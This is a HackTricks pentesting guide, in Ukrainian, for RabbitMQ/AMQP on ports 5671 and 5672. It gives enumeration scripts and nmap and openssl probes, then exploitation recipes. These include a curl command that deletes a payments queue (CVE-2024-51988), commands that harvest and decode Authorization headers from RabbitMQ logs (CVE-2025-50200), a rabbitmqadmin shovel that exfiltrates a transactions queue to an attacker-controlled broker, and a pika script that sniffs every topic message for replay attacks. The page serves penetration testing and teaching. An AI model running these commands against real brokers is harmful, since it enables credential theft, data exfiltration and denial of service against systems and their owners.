5671,5672 - Pentesting AMQP

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

From cloudamqp:

RabbitMQ — це програмне забезпечення для організації черг повідомлень також відоме як брокер повідомлень або менеджер черг. Простіше кажучи; це програмне забезпечення, в якому визначаються черги, до яких підключаються застосунки для передачі одного або кількох повідомлень.
Повідомлення може містити будь-яку інформацію. Наприклад, воно може містити дані про процес або задачу, яка має стартувати в іншому застосунку (який може бути навіть на іншому сервері), або це може бути просте текстове повідомлення. Програмне забезпечення менеджера черг зберігає повідомлення, поки приймаючий застосунок не підключиться і не забере повідомлення з черги. Потім приймаючий застосунок обробляє повідомлення.
Definition from .

Default port: 5672,5671

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
  • Стандартні облікові дані: guest:guest. RabbitMQ обмежує їх до localhost через loopback_users, але багато Docker/IoT образів вимикають цю перевірку, тому завжди перевіряйте віддалений вхід перед тим, як вважати, що він заблокований.
  • Механізми автентифікації: PLAIN і AMQPLAIN увімкнені за замовчуванням, ANONYMOUS відображається на anonymous_login_user/anonymous_login_pass, а EXTERNAL (x509) може бути доступний, коли TLS увімкнено. Перелічіть, що брокер оголошує, щоб знати, чи слід пізніше пробувати password spraying або certificate impersonation.

Перерахування

Ручне

import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)

Після аутентифікації, dump conn.server_properties, conn.channel_max та conn.frame_max, щоб зрозуміти обмеження пропускної здатності і чи можна вичерпати ресурси за допомогою перевеликих фреймів.

Автоматично

nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
| amqp-info:
|   capabilities:
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP
|   product: RabbitMQ
|   version: 3.1.5
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US

TLS/SASL перевірки

  • Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null

Це leaks ланцюжок сертифікатів, підтримувані версії TLS та інформацію про те, чи потрібен mutual TLS.

  • List listeners without creds:
rabbitmq-diagnostics -q listeners

Корисно, коли ви отримали доступ до host через low-priv shell.

  • Spot ANONYMOUS logins: якщо брокер дозволяє ANONYMOUS SASL mechanism, спробуйте підключитися з порожнім username/password; RabbitMQ внутрішньо зіставить вас з anonymous_login_user (за замовчуванням guest).

Brute Force

Поради з експлуатації

Queue deletion without configure perms (CVE-2024-51988)

RabbitMQ ≤ 3.12.10 (і непатчені збірки Tanzu) не перевіряє право configure при видаленні черг через HTTP API. Будь-який аутентифікований користувач з доступом до цільового vhost може видаляти довільні черги, навіть якщо він має лише права read або write.

# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Поєднайте це з rabbitmqadmin list permissions, щоб знайти vhosts, де ваш low-priv user має частковий доступ, після чого wipe queues, щоб спричинити denial of service або активувати compensating controls на боці AMQP. Перегляньте 15672 pentesting для інших HTTP API endpoints, які можна поєднати з цим багом.

Harvest credentials from RabbitMQ logs (CVE-2025-50200)

До версій 4.0.8/4.1.0 звернення до management API з HTTP basic auth до неіснуючого ресурсу призводить до того, що брокер логує увесь заголовок Authorization (base64). Якщо ви отримали обмежений доступ до файлової системи (наприклад, Docker escape, plugin RCE), пошукайте в /var/log/rabbitmq/rabbit@*.log рядки з Authorization: і відновіть облікові дані інших тенантів або service accounts.

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

Навмисно спричиняйте це фейковими endpoints, щоб посадити свіжі секрети в логах, а потім здійснюйте pivot, повторно використовуючи декодовані creds через AMQP, STOMP, MQTT або саму OS.

Озброєння rabbitmqadmin-ng

rabbitmqadmin v2 (aka rabbitmqadmin-ng) — це автономний CLI, який спілкується з management API і тепер постачається у вигляді statically linked builds для Linux/macOS/Windows. Drop it on your bounce box and script:

# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen

Оскільки інструмент підтримує перевірки стану для blue/green розгортань, ви також можете зловживати rabbitmqadmin health_check port_listener --port 5672, щоб дистанційно підтвердити, чи були відкриті TLS listeners, або щоб тримати сервіс зайнятим для таймінгових зондувань.

Message hijacking/sniffing

Якщо ви виявите надмірно дозволяючі політики (.* bindings, topic exchanges, or x-queue-master-locator = min-masters), ви можете непомітно перехоплювати повідомлення, не видаляючи їх:

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)

Змініть ключ маршрутизації на audit.# або payments.*, щоб зосередитися на чутливих потоках, а потім перепублікуйте сфальсифіковані повідомлення, змінюючи аргументи basic_publish — корисно для replay attacks проти нижележачих мікросервісів.

Інші порти RabbitMQ

В https://www.rabbitmq.com/networking.html можна знайти, що rabbitmq використовує кілька портів:

  • 1883, 8883: (MQTT clients без і з TLS, якщо увімкнено MQTT plugin. Learn more about how to pentest MQTT here.
  • 4369: epmd, служба виявлення вузлів, яку використовують вузли RabbitMQ та CLI-інструменти. Learn more about how to pentest this service here.
  • 5672, 5671: використовуються клієнтами AMQP 0-9-1 і 1.0 без і з TLS
  • 15672: клієнти HTTP API, management UI та rabbitmqadmin (тільки якщо увімкнено management plugin). Learn more about how to pentest this service here.
  • 15674: клієнти STOMP-over-WebSockets (тільки якщо увімкнено Web STOMP plugin)
  • 15675: клієнти MQTT-over-WebSockets (тільки якщо увімкнено Web MQTT plugin)
  • 15692: метрики Prometheus (тільки якщо увімкнено Prometheus plugin)
  • 25672: використовується для зв’язку між вузлами та CLI-інструментами (Erlang distribution server port) і виділяється з динамічного діапазону (за замовчуванням обмежений одним портом, обчислюється як AMQP port + 20000). Якщо зовнішні з’єднання на цих портах не є дійсно необхідними (наприклад, кластер використовує [federation] або CLI-інструменти запускають з машин за межами підмережі), ці порти не повинні бути публічно доступні. Див. networking guide для деталей. На інтернеті відкриті лише 9 із цих портів.
  • 35672-35682: використовуються CLI-інструментами (Erlang distribution client ports) для зв’язку з вузлами і виділяються з динамічного діапазону (обчислюються як server distribution port + 10000 до server distribution port + 10010). Див. networking guide для деталей.
  • 61613, 61614: STOMP clients без і з TLS (тільки якщо увімкнено STOMP plugin). Менше ніж 10 пристроїв з цим портом відкритим і в основному UDP для DHT вузлів.

Див. також

4222 Pentesting Nats

Shodan

  • AMQP

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks